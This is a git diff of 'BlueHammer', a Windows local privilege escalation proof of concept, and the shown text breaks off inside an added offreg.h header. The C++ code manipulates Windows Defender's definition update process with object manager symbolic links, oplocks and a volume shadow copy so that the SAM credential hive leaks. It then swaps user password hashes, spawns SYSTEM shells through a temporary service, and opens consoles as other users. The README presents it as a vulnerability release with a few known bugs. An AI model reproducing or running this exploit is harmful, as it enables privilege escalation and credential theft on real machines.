ImpersonateLoggedOnUser(htoken2); + + + SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); + if (!hmgr) + { + printf("OpenSCManager failed with error : %d", GetLastError()); + } + + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + + wchar_t binpath[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH); + wchar_t servicecmd[MAX_PATH] = { 0 }; + DWORD currentsesid = 0; + ProcessIdToSessionId(GetCurrentProcessId(), ¤tsesid); + wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid); + + SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL); + if (!hsvc) + { + printf("CreateService Failed with error : %d\n", GetLastError()); + } + else { + printf(" SYSTEMShell : OK.\n"); + } + + StartService(hsvc, NULL, NULL); + Sleep(100); + DeleteService(hsvc); + CloseServiceHandle(hsvc); + CloseServiceHandle(hmgr); + RevertToSelf(); + CloseHandle(htoken2); + systemshelllaunched = true; + } + else { + printf(" IsAdmin : FALSE\n"); + } + + + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi)) + { + printf(" Shell : Error %d\n", GetLastError()); + } + else { + printf(" Shell : OK.\n"); + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + } + + if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash)) + { + printf(" PasswordRestore : Error %d\n", GetLastError()); + } + + else { + printf(" PasswordRestore : OK.\n"); + } + CloseHandle(htoken); + } + + // __debugbreak(); + + + + } + + ORCloseHive(hSAMhive); + printf("******************************************\n"); + free(newNTLM); + return true; + + + +} + +bool IsRunningAsLocalSystem() +{ + + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { + printf("OpenProcessToken failed, error : %d\n", GetLastError()); + return false; + } + TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER)); + DWORD retsz = 0; + bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz); + CloseHandle(htoken); + if (!res) + return false; + + return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); +} + +void LaunchConsoleInSessionId(DWORD sessionid) +{ + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken)) + return; + + SetPrivilege(htoken, SE_TCB_NAME, TRUE); + SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE); + SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE); + SetPrivilege(htoken, SE_DEBUG_NAME, TRUE); + + HANDLE hnewtoken = NULL; + bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken); + CloseHandle(htoken); + if (!res) + return; + + res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD)); + if (!res) + { + CloseHandle(hnewtoken); + return; + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); + + CloseHandle(hnewtoken); + + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + return; + +} + + +////////////////////////////////////////////////////////////////////// +// Exploit shell spawn end +///////////////////////////////////////////////////////////////////// + +int wmain(int argc, wchar_t* argv[]) +{ + + + if (IsRunningAsLocalSystem()) + { + printf("Running as local system.\n"); + if (argc == 2) + { + DWORD sessionid = _wtoi(argv[1]); + if (sessionid) { + printf("Session id : %d\n", sessionid); + LaunchConsoleInSessionId(sessionid); + } + } + return 0; + } + + DWORD _sesid = 0; + ProcessIdToSessionId(GetCurrentProcessId(), &_sesid); + const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"} + /*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/ + }; + wchar_t fullvsspath[MAX_PATH] = { 0 }; + HANDLE hreleaseready = NULL; + wchar_t updtitle[0x200] = { 0 }; + wchar_t targetfile[MAX_PATH] = { 0 }; + wchar_t nttargetfile[MAX_PATH] = { 0 }; + HANDLE htransaction = NULL; + wchar_t* filestodel[100] = { 0 }; + HINTERNET hint = NULL; + HINTERNET hint2 = NULL; + char data[0x1000] = { 0 }; + DWORD index = 0; + DWORD sz = sizeof(data); + bool res2 = 0; + wchar_t filesz[50] = { 0 }; + LARGE_INTEGER li = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + wchar_t envstr[MAX_PATH] = { 0 }; + wchar_t mpampath[MAX_PATH] = { 0 }; + HANDLE hmpap = NULL; + void* exebuff = NULL; + DWORD readsz = 0; + HANDLE hmapping = NULL; + void* mappedbuff = NULL; + HRSRC hres = NULL; + DWORD ressz = NULL; + HGLOBAL cabbuff = NULL; + wchar_t cabpath[MAX_PATH] = { 0 }; + wchar_t updatepath[MAX_PATH] = { 0 }; + HANDLE hcab = NULL; + ERF erfstruct = { 0 }; + HFDI hcabctx = NULL; + char _updatepath[MAX_PATH] = { 0 }; + bool extractres = false; + char buff[0x1000] = { 0 }; + DWORD retbytes = 0; + DWORD tid = 0; + HANDLE hthread = NULL; + WDRPCWorkerThreadArgs threadargs = { 0 }; + HANDLE hcurrentthread = NULL; + HANDLE hdir = NULL; + wchar_t newdefupdatedirname[MAX_PATH] = { 0 }; + wchar_t updatelibpath[MAX_PATH] = { 0 }; + UNICODE_STRING unistrupdatelibpath = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hupdatefile = NULL; + UNICODE_STRING objlinkname = { 0 }; + UNICODE_STRING objlinktarget = { 0 }; + NTSTATUS ntstat = 0; + OVERLAPPED ovd = { 0 }; + DWORD transfersz = 0; + wchar_t newname[MAX_PATH] = { 0 }; + DWORD renstructsz = 0; + + size_t targetsz = 0; + size_t printnamesz = 0; + size_t pathbuffersz = 0; + size_t totalsz = 0; + REPARSE_DATA_BUFFER* rdb = 0; + DWORD cb = 0; + OVERLAPPED ov = { 0 }; + bool ret = false; + DWORD retsz = 0; + HANDLE hleakedfile = NULL; + HANDLE hobjlink = NULL; + LARGE_INTEGER _filesz = { 0 }; + OVERLAPPED ovd2 = { 0 }; + DWORD __readsz = 0; + void* leakedfilebuff = 0; + bool filelocked = false; + bool needcabcleanup = false; + bool dirmoved = false; + bool needupdatedircleanup = false; + UpdateFiles* UpdateFilesList = NULL; + UpdateFiles* UpdateFilesListCurrent = NULL; + bool isvssready = false; + bool criterr = false; + HANDLE hobjworkdir = NULL; + HANDLE hsymlink = NULL; + wchar_t objdirpath[MAX_PATH] = { 0 }; + try { + + printf("Checking for windows defender signature updates...\n"); + while (!CheckForWDUpdates(updtitle, &criterr)){ + + if (criterr) + goto cleanup; + printf("No updates found for windows defender. Recheking in 30 seconds...\n"); + Sleep(30000); + + } + printf("Found Update : \n%ws\n", updtitle); + + UpdateFilesList = GetUpdateFiles(); + if (!UpdateFilesList) + { + goto cleanup; + } + printf("Updates downloaded.\n"); + + + printf("Creating VSS copy...\n"); + hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!hreleaseready) + { + printf("Failed to create event error : %d\n", GetLastError()); + goto cleanup; + } + + + isvssready = TriggerWDForVS(hreleaseready, fullvsspath); + if (!isvssready) + goto cleanup; + + for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++) + { + ZeroMemory(objdirpath, sizeof(objdirpath)); + UpdateFilesListCurrent = UpdateFilesList; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + wcscpy(envstr, L"%TEMP%\\"); + wcscat(envstr, wuid2); + + { + + OBJECT_ATTRIBUTES ndirobjattr = { 0 }; + UNICODE_STRING objdirunistr = { 0 }; + + + wnsprintf(objdirpath, MAX_PATH, L"\\Sessions\\%d\\BaseNamedObjects\\%s", _sesid, wuid2); + RtlInitUnicodeString(&objdirunistr, objdirpath); + InitializeObjectAttributes(&ndirobjattr, &objdirunistr, OBJ_CASE_INSENSITIVE, NULL, NULL); + ntstat = _NtCreateDirectoryObjectEx(&hobjworkdir, GENERIC_ALL, &ndirobjattr,NULL,NULL); + if (ntstat) + { + printf("NtCreateDirectoryObjectEx Failed : 0x%0.8X\n", ntstat); + goto cleanup; + } + } + + + ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH); + needupdatedircleanup = CreateDirectory(updatepath, NULL); + if (!needupdatedircleanup) + { + printf("Failed to create update directory, error : %d", GetLastError()); + goto cleanup; + } + printf("Created update directory %ws\n", updatepath); + + { + UNICODE_STRING _unisrc = { 0 }; + RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory"); + OBJECT_ATTRIBUTES _smobjattr = { 0 }; + InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); + UNICODE_STRING _unidest = { 0 }; + wchar_t unidest[MAX_PATH] = { 0 }; + wcscpy(unidest, L"\\??\\"); + wcscat(unidest, updatepath); + RtlInitUnicodeString(&_unidest, unidest); + ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest); + if (ntstat) + { + printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat); + goto cleanup; + } + } + + while (UpdateFilesListCurrent) + { + wchar_t filepath[MAX_PATH] = { 0 }; + wchar_t filename[MAX_PATH] = { 0 }; + wcscpy(filepath, updatepath); + wcscat(filepath, L"\\"); + MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, filename, MAX_PATH); + wcscat(filepath, filename); + + HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL); + + if (!hupdate || hupdate == INVALID_HANDLE_VALUE) + { + printf("Failed to create update file, error : %d", GetLastError()); + goto cleanup; + } + UpdateFilesListCurrent->filecreated = true; + DWORD writtenbytes = 0; + if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL)) + { + printf("Failed to write update file, error : %d", GetLastError()); + CloseHandle(hupdate); + goto cleanup; + } + CloseHandle(hupdate); + printf("Created update file : %ws\n", filepath); + UpdateFilesListCurrent = UpdateFilesListCurrent->next; + + } + + hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); + if (!hdir || hdir == INVALID_HANDLE_VALUE) + { + printf("Failed to open definition updates directory, error : %d", GetLastError()); + goto cleanup; + } + + hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId()); + if (!hcurrentthread) + { + printf("Unexpected error while opening current thread, error : %d", GetLastError()); + goto cleanup; + } + wchar_t thrdupdpath[MAX_PATH] = { 0 }; + wsprintf(thrdupdpath, L"\\\\?\\GLOBALROOT\\Sessions\\%d\\BaseNamedObjects\\%s\\WDUpdateDirectory", _sesid, wuid2); + threadargs.dirpath = thrdupdpath; + threadargs.hntfythread = hcurrentthread; + threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL); + hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid); + + printf("Waiting for windows defender to create a new definition update directory...\n"); + wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\"); + do { + ZeroMemory(buff, sizeof(buff)); + OVERLAPPED od = { 0 }; + od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL); + HANDLE events[2] = { od.hEvent, threadargs.hevent }; + if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0) + { + printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res); + goto cleanup; + } + CloseHandle(od.hEvent); + + PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff; + if (pfni->Action != FILE_ACTION_ADDED) + continue; + + wcscat(newdefupdatedirname, pfni->FileName); + break; + } while (1); + printf("Detected new definition update directory in %ws\n", newdefupdatedirname); + + wcscpy(updatelibpath, L"\\??\\"); + wcscat(updatelibpath, updatepath); + wcscat(updatelibpath, L"\\mpasbase.vdm"); + + RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath); + InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL); + if (ntstat) + { + printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat); + goto cleanup; + } + printf("Setting oplock on %ws\n", updatelibpath); + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + goto cleanup; + } + printf("Waiting for oplock to trigger...\n"); + GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE); + printf("oplock triggered !\n"); + + CloseHandle(hsymlink); + + + + { + UNICODE_STRING _unisrc = { 0 }; + RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory"); + OBJECT_ATTRIBUTES _smobjattr = { 0 }; + InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); + UNICODE_STRING _unidest = { 0 }; + RtlInitUnicodeString(&_unidest, objdirpath); + ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest); + if (ntstat) + { + printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat); + goto cleanup; + } + + RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm"); + ZeroMemory(nttargetfile, sizeof(nttargetfile)); + wcscpy(nttargetfile, fullvsspath); + wcscat(nttargetfile, filestoleak[x]); + RtlInitUnicodeString(&objlinktarget, nttargetfile); + InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); + + ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget); + if (ntstat) + { + printf("Failed to create object manager symbolic link, error : 0x%0.8X\n", ntstat); + goto cleanup; + } + + } + + + CloseHandle(ov.hEvent); + ov.hEvent = NULL; + CloseHandle(ovd.hEvent); + ovd.hEvent = NULL; + CloseHandle(hupdatefile); + hupdatefile = NULL; + + + wcscat(newdefupdatedirname, L"\\mpasbase.vdm"); + + htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE, NULL, NULL, NULL, NULL); + if (!htransaction) + { + printf("Failed to open leaked file.\n"); + goto cleanup; + } + do { + hleakedfile = CreateFileTransacted(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htransaction,NULL,NULL); + } while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile); + printf("Leaked file opened %ws\n", newdefupdatedirname); + + + CloseHandle(hdir); + hdir = NULL; + CloseHandle(hobjlink); + hobjlink = NULL; + printf("Exploit succeeded.\n"); + SetEvent(hreleaseready); + + + DoSpawnShellAsAllUsers(hleakedfile); + CloseHandle(hleakedfile); + hleakedfile = NULL; + RollbackTransaction(htransaction); + CloseHandle(htransaction); + htransaction = NULL; + WaitForSingleObject(hthread, INFINITE); + CloseHandle(hthread); + hthread = NULL; + + + + } + + } + catch (int exception) + { + goto cleanup; + } + +cleanup: + + if(hint) + InternetCloseHandle(hint); + if(hint) + InternetCloseHandle(hint2); + if (exebuff) + free(exebuff); + if(mappedbuff) + UnmapViewOfFile(mappedbuff); + if (hmapping) + CloseHandle(hmapping); + if (hcabctx) + FDIDestroy(hcabctx); + if (hdir) + CloseHandle(hdir); + if (rdb) + HeapFree(GetProcessHeap(), NULL, rdb); + if (ov.hEvent) + CloseHandle(ov.hEvent); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + + if (hreleaseready) + { + SetEvent(hreleaseready); + Sleep(1000); + CloseHandle(hreleaseready); + } + if (hleakedfile) + { + if (filelocked) + UnlockFile(hleakedfile, NULL, NULL, NULL, NULL); + CloseHandle(hleakedfile); + } + if (leakedfilebuff) + free(leakedfilebuff); + if (hcurrentthread) + CloseHandle(hcurrentthread); + if (needupdatedircleanup) + { + wchar_t dirtoclean[MAX_PATH] = { 0 }; + wcscpy(dirtoclean, updatepath); + UpdateFilesListCurrent = UpdateFilesList; + while(UpdateFilesListCurrent) + { + + if (UpdateFilesListCurrent->filecreated) + { + wchar_t filetodel[MAX_PATH] = { 0 }; + wcscpy(filetodel, dirtoclean); + wcscat(filetodel, L"\\"); + MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t)); + DeleteFile(filetodel); + } + if (UpdateFilesListCurrent->hsymlink) { + CloseHandle(UpdateFilesListCurrent->hsymlink); + UpdateFilesListCurrent->hsymlink = NULL; + } + UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent; + UpdateFilesListCurrent = UpdateFilesListCurrent->next; + free(UpdateFilesListOld); + } + RemoveDirectory(dirtoclean); + } + + + return 0; +} + diff --git a/BlueHammer/FunnyApp.rc b/BlueHammer/FunnyApp.rc new file mode 100644 index 0000000000000000000000000000000000000000..58dec089f1ed377848b2e4f942ebcb67639dd651 GIT binary patch literal 2668 zcmds(Pfx-?5XIlw#P6`;MWYeLlSc(5MnofEG$A2IL`kq33i0A+SAWy8vC`JWKZj~I z%WQ|8+1WSqrhR=Wt1PEu4Rx)t9uzVMnxH#J7iy|2jd-eRjp1~w8wJcU`U$d+Zj3a$ zDXVMNjwkar)FXQ~w5SD6DM!-Q%ls3tV}wON+Fwff*wCFy2@Bgdi0sV&u1?ibTOHMO zs1x;crhT+E)=f2ZiKfNxvG&k3So;_(j^Yg;otI8^?mLh30F)kd&;2K$V>qFM0A98?ay&Ko2@># zCT(tkNdC?}ZeEZ0ZhPHqWcSamHfKH5vJm5CR@NP|PcVPBBkz=~u2E9DZRgJJ^%m! literal 0 HcmV?d00001 diff --git a/BlueHammer/FunnyApp.sln b/BlueHammer/FunnyApp.sln new file mode 100644 index 0000000..653b8fc --- /dev/null +++ b/BlueHammer/FunnyApp.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36414.22 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunnyApp", "FunnyApp.vcxproj", "{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x64.ActiveCfg = Debug|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x64.Build.0 = Debug|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x86.ActiveCfg = Debug|Win32 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x86.Build.0 = Debug|Win32 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x64.ActiveCfg = Release|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x64.Build.0 = Release|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x86.ActiveCfg = Release|Win32 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B894FD1E-E0A4-4043-9950-2A946FC73C8C} + EndGlobalSection +EndGlobal diff --git a/BlueHammer/FunnyApp.vcxproj b/BlueHammer/FunnyApp.vcxproj new file mode 100644 index 0000000..b250b09 --- /dev/null +++ b/BlueHammer/FunnyApp.vcxproj @@ -0,0 +1,181 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {c0c82a69-3ead-4d50-a0ee-24b01449eafa} + FunnyApp + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + false + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + + TurnOffAllWarnings + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + TurnOffAllWarnings + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + TurnOffAllWarnings + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + + + TurnOffAllWarnings + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/BlueHammer/FunnyApp.vcxproj.filters b/BlueHammer/FunnyApp.vcxproj.filters new file mode 100644 index 0000000..c2af88e --- /dev/null +++ b/BlueHammer/FunnyApp.vcxproj.filters @@ -0,0 +1,49 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + + + Resource Files + + + + + Source Files + + + \ No newline at end of file diff --git a/BlueHammer/FunnyApp.vcxproj.user b/BlueHammer/FunnyApp.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/BlueHammer/FunnyApp.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/BlueHammer/LICENSE b/BlueHammer/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/BlueHammer/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/BlueHammer/README.md b/BlueHammer/README.md new file mode 100644 index 0000000..2f6a93c --- /dev/null +++ b/BlueHammer/README.md @@ -0,0 +1,19 @@ +# BlueHammer + + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA512 + +Repository hosting the bluehammer vulnerability + +I'm just really wondering what was the math behind their decision, like you knew this was going to happen and you still did whatever you did ? Are they serious ? + +-----BEGIN PGP SIGNATURE----- + +iHUEARYKAB0WIQRJTvAf/AWVhAKEeb7FFoRCS0/SbAUCac8VlgAKCRDFFoRCS0/S +bK8pAP9CzNnH26FVVdHZWVyDvOIwuZ1np1dTv7T5YaVCjf4tiwD+MC4Ikq+/ywdD +I7dabkH7iSZflULM+hGUOur0mnAg9Qw= +=Enhh +-----END PGP SIGNATURE----- + +Edit : There are few bugs in the PoC that could prevent it from working, might fix them later. diff --git a/BlueHammer/offreg.h b/BlueHammer/offreg.h new file mode 100644 index 0000000..a82e190 --- /dev/null +++ b/BlueHammer/offreg.h @@ -0,0 +1,239 @@ +/*++ + +Copyright (c) Microsoft Corporation + +Module Name: + + offreg.h + +Abstract: + + This module contains the header file for the + offreg utility. + +--*/ + +#pragma once + +#ifndef __OFFREG_H__ +#define __OFFREG_H__ + +#ifdef __cplusplus +extern "C" +{ +#endif + + +#if defined(OFFREG_DLL) +#define ORAPI _declspec(dllexport) __stdcall +#else +#define ORAPI _declspec(dllimport) __stdcall +#endif + + typedef PVOID ORHKEY; + typedef ORHKEY* PORHKEY; + + VOID + ORAPI + ORGetVersion( + _Out_ PDWORD pdwMajorVersion, + _Out_ PDWORD pdwMinorVersion + ); + + DWORD + ORAPI + OROpenHive( + _In_ PCWSTR FilePath, + _Out_ PORHKEY HORKey + ); + + DWORD + ORAPI + OROpenHiveByHandle( + _In_ HANDLE FileHandle, + _Out_ PORHKEY HORKey + ); + + DWORD + ORAPI + ORCreateHive( + _Out_ PORHKEY HORKey + ); + + DWORD + ORAPI + ORCloseHive( + _In_ ORHKEY Handle + ); + + DWORD + ORAPI + ORSaveHive( + _In_ ORHKEY HORKey, + _In_ PCWSTR HivePath, + _In_ DWORD OsMajorVersion, + _In_ DWORD OsMinorVersion + ); + + DWORD + ORAPI + OROpenKey( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpSubKey, + _Out_ PORHKEY phkResult + ); + + DWORD + ORAPI + ORCloseKey( + _In_ ORHKEY KeyHandle + ); + + DWORD + ORAPI + ORCreateKey( + _In_ ORHKEY KeyHandle, + _In_ PCWSTR lpSubKey, + _In_opt_ PWSTR lpClass, + _In_opt_ DWORD dwOptions, + _In_opt_ PSECURITY_DESCRIPTOR pSecurityDescriptor, + _Out_ PORHKEY phkResult, + _Out_opt_ PDWORD pdwDisposition + ); + + DWORD + ORAPI + ORDeleteKey( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpSubKey + ); + + DWORD + ORAPI + ORQueryInfoKey( + _In_ ORHKEY Handle, + _Out_writes_opt_(*lpcClass) PWSTR lpClass, + _Inout_opt_ PDWORD lpcClass, + _Out_opt_ PDWORD lpcSubKeys, + _Out_opt_ PDWORD lpcMaxSubKeyLen, + _Out_opt_ PDWORD lpcMaxClassLen, + _Out_opt_ PDWORD lpcValues, + _Out_opt_ PDWORD lpcMaxValueNameLen, + _Out_opt_ PDWORD lpcMaxValueLen, + _Out_opt_ PDWORD lpcbSecurityDescriptor, + _Out_opt_ PFILETIME lpftLastWriteTime + ); + + DWORD + ORAPI + OREnumKey( + _In_ ORHKEY Handle, + _In_ DWORD dwIndex, + _Out_writes_(*lpcName) PWSTR lpName, + _Inout_ PDWORD lpcName, + 